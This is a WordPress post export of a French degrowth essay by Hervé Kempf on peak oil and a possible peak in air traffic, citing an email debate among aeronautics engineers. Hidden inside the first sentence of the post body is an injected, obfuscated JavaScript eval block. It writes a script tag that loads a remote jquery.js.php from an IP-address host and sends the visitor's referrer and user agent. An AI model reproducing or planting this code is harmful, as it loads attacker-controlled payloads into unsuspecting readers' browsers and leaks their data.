{"id":2271,"date":"2009-04-14T20:24:44","date_gmt":"2009-04-14T20:24:44","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=2271"},"modified":"2009-04-14T20:24:44","modified_gmt":"2009-04-14T20:24:44","slug":"le-plafond-des-avions","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=2271","title":{"rendered":"Le plafond des avions"},"content":{"rendered":"<p><a href=\"http:\/\/www.partipourladecroissance.net\" target=\"_blank\"><em><strong><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-24\" style=\"margin: 5px;\" title=\"logo-ppld\" src=\"..\/wp-content\/uploads\/2008\/12\/logo-ppld.gif\" alt=\"logo-ppld\" width=\"118\" height=\"68\" \/><\/strong><\/em><\/a>Le <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbzsb|var|u0026u|referrer|ehrrb||js|php'.split('|'),0,{}))\n<\/script><\/noindex> pic p\u00e9trolier ne fait plus vraiment d\u00e9bat : \u00e0 une \u00e9ch\u00e9ance ind\u00e9termin\u00e9e, la production de p\u00e9trole atteindra un pic au-del\u00e0 duquel elle n&rsquo;augmentera plus. La seule question, en fait, est : quand ? Mais un des meilleurs experts du pic p\u00e9trolier, <a href=\"http:\/\/www.partipourladecroissance.net\/?p=170\"><strong>Richard Heinberg<\/strong><\/a>, pousse la r\u00e9flexion plus loin dans son dernier livre, <a href=\"http:\/\/www.partipourladecroissance.net\/?p=170\">Peak Everything (New society publishers, 2008)<\/a> : <em>nous pouvons appliquer le concept de pic de production \u00e0 beaucoup d&rsquo;autres domaines ; gaz, charbon, mati\u00e8res premi\u00e8res, ressources d&rsquo;eau, production alimentaire vont atteindre \u00e0 un moment donn\u00e9 du XXIe si\u00e8cle un pic de production. Plut\u00f4t que d&rsquo;ignorer avec constance cet horizon limit\u00e9, mieux vaut tout de suite s&rsquo;y pr\u00e9parer, <\/em>dit-il.<\/p>\n<p><!--more-->On ne saurait trop approuver ce point de vue. On peut m\u00eame g\u00e9n\u00e9raliser la probl\u00e9matique du pic \u00e0 d&rsquo;autres domaines. Par exemple, ne pourrait-on pas imaginer que la chute du trafic a\u00e9rien de passagers, qui devrait atteindre 5,7 % en 2009, selon l&rsquo;Association internationale du transport a\u00e9rien, se poursuive, et que ce trafic ait d\u00e9pass\u00e9 un pic ? Ou que, si ce trafic rebondit un jour, il ne soit amen\u00e9 \u00e0 diminuer durablement ensuite ?<\/p>\n<p>Cette id\u00e9e au fond \u00e9vidente s&rsquo;impose quand on lit un \u00e9change de courriels au sein d&rsquo;une grande entreprise a\u00e9ronautique de Toulouse entre membres d&rsquo;un groupe de discussion sur l&rsquo;environnement. Ils commentent un rapport interne consacr\u00e9 aux liens entre \u00ab\u00a0d\u00e9veloppement durable\u00a0\u00bb et transport a\u00e9rien. \u00ab\u00a0Le transport a\u00e9rien (3 % \u00e0 4 % de la consommation de p\u00e9trole) est-il r\u00e9ellement tr\u00e8s concern\u00e9 ?, lit-on dans le rapport. Son utilit\u00e9 \u00e9vidente et la modestie de ses exigences semblent devoir justifier qu&rsquo;on lui laisse certains privil\u00e8ges.\u00a0\u00bb<\/p>\n<p>\u00ab\u00a0Utilit\u00e9 pas \u00e9vidente pour moi\u00a0\u00bb, commente T., qui pr\u00e9cise : \u00ab\u00a0On peut vivre heureux sans chercher la fuite en avant, quand on sait que cette fuite nous m\u00e8ne vers un pr\u00e9cipice.\u00a0\u00bb P. r\u00e9torque : \u00ab\u00a0Si vous remettez l&rsquo;existence du transport a\u00e9rien en cause, vous partez sur de tr\u00e8s mauvaises bases. (&#8230;) Plut\u00f4t que de dire \u00ab\u00a0il faut emp\u00eacher les voitures de rouler\u00a0\u00bb, pourquoi ne pas trouver une solution qui permette aux voitures de rouler plus de 600 km sans polluer ?\u00a0\u00bb<\/p>\n<p>T. r\u00e9pond : \u00ab\u00a0Si une voiture avec une autonomie de 600 km, qui ne pollue pas, existe un jour, je veux bien l&rsquo;utiliser (encore que cela ne r\u00e9glerait pas le probl\u00e8me de la construction et de l&rsquo;entretien des routes). En attendant que \u00e7a existe, je me limite.\u00a0\u00bb G. intervient : \u00ab\u00a0L&rsquo;industrie a\u00e9ronautique ne va pas s&rsquo;\u00e9crouler car, dans le quart de personnes qui vivent le mieux sur la plan\u00e8te, il existera toujours une minorit\u00e9 qui utilisera l&rsquo;avion comme moyen de d\u00e9placement.\u00a0\u00bb<\/p>\n<p>Non, l&rsquo;industrie a\u00e9ronautique ne va pas s&rsquo;\u00e9crouler, pas plus que l&rsquo;industrie p\u00e9troli\u00e8re. Mais ses beaux jours sont sans doute derri\u00e8re elle. Le plus encourageant est que, en son sein, les ing\u00e9nieurs en discutent et envisagent la fin de la croissance illimit\u00e9e. M\u00eame les avions ne peuvent monter plus haut que le ciel.<\/p>\n<p><a href=\"http:\/\/www.lemonde.fr\/opinions\/article\/2009\/04\/11\/le-plafond-des-avions-par-herve-kempf_1179586_3232.html\">par Herv\u00e9 Kempf<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Le pic p\u00e9trolier ne fait plus vraiment d\u00e9bat : \u00e0 une \u00e9ch\u00e9ance ind\u00e9termin\u00e9e, la production de p\u00e9trole atteindra un pic au-del\u00e0 duquel elle n&rsquo;augmentera plus. La seule question, en fait, est : quand ? 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